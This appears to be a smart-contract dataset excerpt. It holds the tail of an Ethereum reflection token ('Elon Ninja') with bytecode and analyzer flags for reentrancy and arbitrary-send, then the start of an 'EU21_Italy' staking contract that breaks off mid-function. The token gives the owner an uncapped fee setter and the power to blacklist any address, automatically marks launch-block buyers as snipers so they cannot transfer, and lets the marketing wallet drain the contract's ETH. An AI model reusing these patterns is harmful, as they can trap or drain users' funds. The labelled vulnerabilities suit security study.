function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading() public onlyOwner {
require(!tradingOpen);
tradingOpen = true;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function addSniper(address[] memory snipers) external onlyOwner {
for(uint256 i= 0; i< snipers.length; i++){
_isSniper[snipers[i]] = true;
}
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount >= _maxTxAmount);
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
require(maxWalletSize >= _maxWalletSize);
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
require(amountBuy >= 0 && amountBuy <= 13);
require(amountSell >= 0 && amountSell <= 13);
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
_burnFee = amount;
}
} | 0x6080604052600436106101f25760003560e01c80636fc3eaec1161010d5780638da5cb5b116100a0578063a9059cbb1161006f578063a9059cbb14610599578063c5528490146105b9578063dd62ed3e146105d9578063ea1644d51461061f578063f2fde38b1461063f57600080fd5b80638da5cb5b1461051f5780638f9a55c01461053d57806395d89b41146105535780639e78fb4f1461058457600080fd5b8063790ca413116100dc578063790ca413146104be5780637c519ffb146104d45780637d1db4a5146104e9578063881dce60146104ff57600080fd5b80636fc3eaec1461045457806370a0823114610469578063715018a61461048957806374010ece1461049e57600080fd5b80632fd689e31161018557806349bd5a5e1161015457806349bd5a5e146103d45780634bf2c7c9146103f45780635d098b38146104145780636d8aa8f81461043457600080fd5b80632fd689e314610362578063313ce5671461037857806333251a0b1461039457806338eea22d146103b457600080fd5b806318160ddd116101c157806318160ddd146102e457806323b872dd1461030a57806327c8f8351461032a57806328bb665a1461034057600080fd5b806306fdde03146101fe578063095ea7b3146102435780630f3a325f146102735780631694505e146102ac57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b5060408051808201909152600a815269456c6f6e204e696e6a6160b01b60208201525b60405161023a9190611f78565b60405180910390f35b34801561024f57600080fd5b5061026361025e366004611e23565b61065f565b604051901515815260200161023a565b34801561027f57600080fd5b5061026361028e366004611d6f565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102b857600080fd5b506016546102cc906001600160a01b031681565b6040516001600160a01b03909116815260200161023a565b3480156102f057600080fd5b5068056bc75e2d631000005b60405190815260200161023a565b34801561031657600080fd5b50610263610325366004611de2565b610676565b34801561033657600080fd5b506102cc61dead81565b34801561034c57600080fd5b5061036061035b366004611e4f565b6106df565b005b34801561036e57600080fd5b506102fc601a5481565b34801561038457600080fd5b506040516009815260200161023a565b3480156103a057600080fd5b506103606103af366004611d6f565b61077e565b3480156103c057600080fd5b506103606103cf366004611f56565b6107ed565b3480156103e057600080fd5b506017546102cc906001600160a01b031681565b34801561040057600080fd5b5061036061040f366004611f3d565b610822565b34801561042057600080fd5b5061036061042f366004611d6f565b610851565b34801561044057600080fd5b5061036061044f366004611f1b565b6108ab565b34801561046057600080fd5b506103606108f3565b34801561047557600080fd5b506102fc610484366004611d6f565b61091d565b34801561049557600080fd5b5061036061093f565b3480156104aa57600080fd5b506103606104b9366004611f3d565b6109b3565b3480156104ca57600080fd5b506102fc600a5481565b3480156104e057600080fd5b506103606109f1565b3480156104f557600080fd5b506102fc60185481565b34801561050b57600080fd5b5061036061051a366004611f3d565b610a4b565b34801561052b57600080fd5b506000546001600160a01b03166102cc565b34801561054957600080fd5b506102fc60195481565b34801561055f57600080fd5b50604080518082019091526008815267454c4f4e494e4a4160c01b602082015261022d565b34801561059057600080fd5b50610360610ac7565b3480156105a557600080fd5b506102636105b4366004611e23565b610cac565b3480156105c557600080fd5b506103606105d4366004611f56565b610cb9565b3480156105e557600080fd5b506102fc6105f4366004611da9565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561062b57600080fd5b5061036061063a366004611f3d565b610d0a565b34801561064b57600080fd5b5061036061065a366004611d6f565b610d48565b600061066c338484610e32565b5060015b92915050565b6000610683848484610f56565b6106d584336106d08560405180606001604052806028815260200161217d602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611602565b610e32565b5060019392505050565b6000546001600160a01b031633146107125760405162461bcd60e51b815260040161070990611fcd565b60405180910390fd5b60005b815181101561077a576001600960008484815181106107365761073661213b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107728161210a565b915050610715565b5050565b6000546001600160a01b031633146107a85760405162461bcd60e51b815260040161070990611fcd565b6001600160a01b03811660009081526009602052604090205460ff16156107ea576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146108175760405162461bcd60e51b815260040161070990611fcd565b600b91909155600d55565b6000546001600160a01b0316331461084c5760405162461bcd60e51b815260040161070990611fcd565b601155565b6015546001600160a01b0316336001600160a01b03161461087157600080fd5b601580546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146108d55760405162461bcd60e51b815260040161070990611fcd565b60178054911515600160b01b0260ff60b01b19909216919091179055565b6015546001600160a01b0316336001600160a01b03161461091357600080fd5b476107ea8161163c565b6001600160a01b03811660009081526002602052604081205461067090611676565b6000546001600160a01b031633146109695760405162461bcd60e51b815260040161070990611fcd565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109dd5760405162461bcd60e51b815260040161070990611fcd565b6018548110156109ec57600080fd5b601855565b6000546001600160a01b03163314610a1b5760405162461bcd60e51b815260040161070990611fcd565b601754600160a01b900460ff1615610a3257600080fd5b6017805460ff60a01b1916600160a01b17905542600a55565b6015546001600160a01b0316336001600160a01b031614610a6b57600080fd5b610a743061091d565b8111158015610a835750600081115b610abe5760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b6044820152606401610709565b6107ea816116fa565b6000546001600160a01b03163314610af15760405162461bcd60e51b815260040161070990611fcd565b601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b158015610b5157600080fd5b505afa158015610b65573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b899190611d8c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610bd157600080fd5b505afa158015610be5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c099190611d8c565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610c5157600080fd5b505af1158015610c65573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c899190611d8c565b601780546001600160a01b0319166001600160a01b039290921691909117905550565b600061066c338484610f56565b6000546001600160a01b03163314610ce35760405162461bcd60e51b815260040161070990611fcd565b600d821115610cf157600080fd5b600d811115610cff57600080fd5b600c91909155600e55565b6000546001600160a01b03163314610d345760405162461bcd60e51b815260040161070990611fcd565b601954811015610d4357600080fd5b601955565b6000546001600160a01b03163314610d725760405162461bcd60e51b815260040161070990611fcd565b6001600160a01b038116610dd75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610709565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610e945760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610709565b6001600160a01b038216610ef55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610709565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fba5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610709565b6001600160a01b03821661101c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610709565b6000811161107e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610709565b6001600160a01b03821660009081526009602052604090205460ff16156110b75760405162461bcd60e51b815260040161070990612002565b6001600160a01b03831660009081526009602052604090205460ff16156110f05760405162461bcd60e51b815260040161070990612002565b3360009081526009602052604090205460ff16156111205760405162461bcd60e51b815260040161070990612002565b6000546001600160a01b0384811691161480159061114c57506000546001600160a01b03838116911614155b156114ac57601754600160a01b900460ff166111aa5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642100000000000000006044820152606401610709565b6017546001600160a01b0383811691161480156111d557506016546001600160a01b03848116911614155b15611287576001600160a01b03821630148015906111fc57506001600160a01b0383163014155b801561121657506015546001600160a01b03838116911614155b801561123057506015546001600160a01b03848116911614155b15611287576018548111156112875760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610709565b6017546001600160a01b038381169116148015906112b357506015546001600160a01b03838116911614155b80156112c857506001600160a01b0382163014155b80156112df57506001600160a01b03821661dead14155b156113a6576018548111156113365760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610709565b601954816113438461091d565b61134d919061209a565b106113a65760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610709565b60006113b13061091d565b601a5490915081118080156113d05750601754600160a81b900460ff16155b80156113ea57506017546001600160a01b03868116911614155b80156113ff5750601754600160b01b900460ff165b801561142457506001600160a01b03851660009081526006602052604090205460ff16155b801561144957506001600160a01b03841660009081526006602052604090205460ff16155b156114a957601154600090156114845761147960646114736011548661188390919063ffffffff16565b90611902565b905061148481611944565b61149661149182856120f3565b6116fa565b4780156114a6576114a64761163c565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff16806114ee57506001600160a01b03831660009081526006602052604090205460ff165b8061152057506017546001600160a01b0385811691161480159061152057506017546001600160a01b03848116911614155b1561152d575060006115f0565b6017546001600160a01b03858116911614801561155857506016546001600160a01b03848116911614155b156115b3576001600160a01b03831660009081526004602052604090204290819055600b54600f55600c54601055600a5414156115b3576001600160a01b0383166000908152600960205260409020805460ff191660011790555b6017546001600160a01b0384811691161480156115de57506016546001600160a01b03858116911614155b156115f057600d54600f55600e546010555b6115fc84848484611951565b50505050565b600081848411156116265760405162461bcd60e51b81526004016107099190611f78565b50600061163384866120f3565b95945050505050565b6015546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561077a573d6000803e3d6000fd5b60006007548211156116dd5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610709565b60006116e7611985565b90506116f38382611902565b9392505050565b6017805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106117425761174261213b565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561179657600080fd5b505afa1580156117aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117ce9190611d8c565b816001815181106117e1576117e161213b565b6001600160a01b0392831660209182029290920101526016546118079130911684610e32565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac94790611840908590600090869030904290600401612029565b600060405180830381600087803b15801561185a57600080fd5b505af115801561186e573d6000803e3d6000fd5b50506017805460ff60a81b1916905550505050565b60008261189257506000610670565b600061189e83856120d4565b9050826118ab85836120b2565b146116f35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610709565b60006116f383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119a8565b6107ea3061dead83610f56565b8061195e5761195e6119d6565b611969848484611a1b565b806115fc576115fc601254600f55601354601055601454601155565b6000806000611992611b12565b90925090506119a18282611902565b9250505090565b600081836119c95760405162461bcd60e51b81526004016107099190611f78565b50600061163384866120b2565b600f541580156119e65750601054155b80156119f25750601154155b156119f957565b600f805460125560108054601355601180546014556000928390559082905555565b600080600080600080611a2d87611b54565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611a5f9087611bb1565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611a8e9086611bf3565b6001600160a01b038916600090815260026020526040902055611ab081611c52565b611aba8483611c9c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611aff91815260200190565b60405180910390a3505050505050505050565b600754600090819068056bc75e2d63100000611b2e8282611902565b821015611b4b5750506007549268056bc75e2d6310000092509050565b90939092509050565b6000806000806000806000806000611b718a600f54601054611cc0565b9250925092506000611b81611985565b90506000806000611b948e878787611d0f565b919e509c509a509598509396509194505050505091939550919395565b60006116f383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611602565b600080611c00838561209a565b9050838110156116f35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610709565b6000611c5c611985565b90506000611c6a8383611883565b30600090815260026020526040902054909150611c879082611bf3565b30600090815260026020526040902055505050565b600754611ca99083611bb1565b600755600854611cb99082611bf3565b6008555050565b6000808080611cd460646114738989611883565b90506000611ce760646114738a89611883565b90506000611cff82611cf98b86611bb1565b90611bb1565b9992985090965090945050505050565b6000808080611d1e8886611883565b90506000611d2c8887611883565b90506000611d3a8888611883565b90506000611d4c82611cf98686611bb1565b939b939a50919850919650505050505050565b8035611d6a81612167565b919050565b600060208284031215611d8157600080fd5b81356116f381612167565b600060208284031215611d9e57600080fd5b81516116f381612167565b60008060408385031215611dbc57600080fd5b8235611dc781612167565b91506020830135611dd781612167565b809150509250929050565b600080600060608486031215611df757600080fd5b8335611e0281612167565b92506020840135611e1281612167565b929592945050506040919091013590565b60008060408385031215611e3657600080fd5b8235611e4181612167565b946020939093013593505050565b60006020808385031215611e6257600080fd5b823567ffffffffffffffff80821115611e7a57600080fd5b818501915085601f830112611e8e57600080fd5b813581811115611ea057611ea0612151565b8060051b604051601f19603f83011681018181108582111715611ec557611ec5612151565b604052828152858101935084860182860187018a1015611ee457600080fd5b600095505b83861015611f0e57611efa81611d5f565b855260019590950194938601938601611ee9565b5098975050505050505050565b600060208284031215611f2d57600080fd5b813580151581146116f357600080fd5b600060208284031215611f4f57600080fd5b5035919050565b60008060408385031215611f6957600080fd5b50508035926020909101359150565b600060208083528351808285015260005b81811015611fa557858101830151858201604001528201611f89565b81811115611fb7576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156120795784516001600160a01b031683529383019391830191600101612054565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156120ad576120ad612125565b500190565b6000826120cf57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156120ee576120ee612125565b500290565b60008282101561210557612105612125565b500390565b600060001982141561211e5761211e612125565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107ea57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c0db1f035303d6ea2a59a3306e119a8512d8d9517818ad1228a7832fb656476b64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,372 |
0x2946930c6abe58e47ab51ef1eef42627a46e2da0 | /**
*Submitted for verification at Etherscan.io on 2021-06-07
*/
pragma solidity >=0.8.0;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract EU21_Italy is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
// EU21 token contract address
address public constant tokenAddress = 0x87ea1F06d7293161B9ff080662c1b0DF775122D3;
// amount disbursed per victory
uint public amountToDisburse = 1000000000000000000000; // 1000 EU21 PER VICTORY
// total games rewards for each pool
uint public totalReward = 7000000000000000000000; // 7000 EU21 TOTAL GAMES REWARDS (EXCLUDING THE GRAND PRIZE)
// unstaking possible after ...
uint public constant unstakeTime = 37 days;
// claiming possible after ...
uint public constant claimTime = 37 days;
uint public totalClaimedRewards = 0;
uint public totalDeposited = 0;
uint public totalDisbursed = 0;
bool public ended ;
uint public startTime = block.timestamp;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public pending;
mapping (address => uint) public totalEarnedTokens;
mapping (address => uint) public rewardEnded;
function disburse () public onlyOwner returns (bool){
require(!ended, "Staking already ended");
address _hold;
uint _add;
for(uint i = 0; i < holders.length(); i = i.add(1)){
_hold = holders.at(i);
_add = depositedTokens[_hold].mul(amountToDisburse).div(totalDeposited);
pending[_hold] = pending[_hold].add(_add);
}
totalDisbursed = totalDisbursed.add(amountToDisburse);
return true;
}
//Disburse and End the staking pool
function disburseAndEnd(uint _finalDisburseAmount) public onlyOwner returns (bool){
require(!ended, "Staking already ended");
require(_finalDisburseAmount > 0);
address _hold;
uint _add;
for(uint i = 0; i < holders.length(); i = i.add(1)){
_hold = holders.at(i);
_add = depositedTokens[_hold].mul(_finalDisburseAmount).div(totalDeposited);
pending[_hold] = pending[_hold].add(_add);
}
totalDisbursed = totalDisbursed.add(_finalDisburseAmount);
ended = true;
return true;
}
//End the staking pool
function end() public onlyOwner returns (bool){
require(!ended, "Staking already ended");
ended = true;
return true;
}
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
pending[account] = 0;
depositedTokens[account] = depositedTokens[account].add(pendingDivs);
totalDeposited = totalDeposited.add(pendingDivs);
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
}
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
uint pendingDivs = pending[_holder];
return pendingDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function deposit(uint amountToStake) public {
require(!ended, "Staking has ended");
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToStake);
totalDeposited = totalDeposited.add(amountToStake);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
}
}
function claim() public{
require(holders.contains(msg.sender));
require(block.timestamp.sub(startTime) > claimTime || ended, "Not yet.");
require(pending[msg.sender] > 0);
